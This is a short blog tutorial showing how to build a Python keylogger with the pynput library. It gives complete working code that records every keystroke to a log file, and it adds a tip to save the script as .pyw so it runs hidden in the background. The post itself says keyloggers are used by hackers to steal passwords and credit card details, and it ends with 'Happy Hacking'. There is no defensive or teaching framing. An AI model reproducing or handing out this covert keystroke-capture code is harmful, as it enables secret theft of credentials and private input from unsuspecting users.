How to create key logger from scratch

Key logger; is a software that is used to record user input on the screen, normally keyboard input. Its usually used in secret by hackers to get useful information such as username, passwords, credit card information and screen captures.

Ever wondered how a key logger is created form scratch? In this tutorial I am going to show you how to create the Key logger from scratch.

Tools you needed
Pycharm (Python Ide)

Steps
First of go and download pycharm from the official website
https://www.jetbrains.com/pycharm/

Then open the new python project

Create new python file
Copy paste the below code

from pynput.keyboard import Key, Listener
import logging

log_dir = “C:/Users/username/Desktop/jo/logs”

logging.basicConfig(filename=(log_dir + “key_log.txt”), level=logging.DEBUG, format=’%(asctime)s: %(message)s’)

def on_press(key):
logging.info(str(key))

with Listener(on_press=on_press) as listener:
listener.join()

Click on the bulb icon and select install package pynput.

In the location variable use the location where you want to save the log files

To run the program

Select run the from run menu the program will start to run

Now open the saved log file

From the log file we can see that above entered mail id

Pro tip
To run the program in the background save it in .pyw format

That’s for this tutorial guys I hope you liked this blog
Happy Hacking

Leave a Comment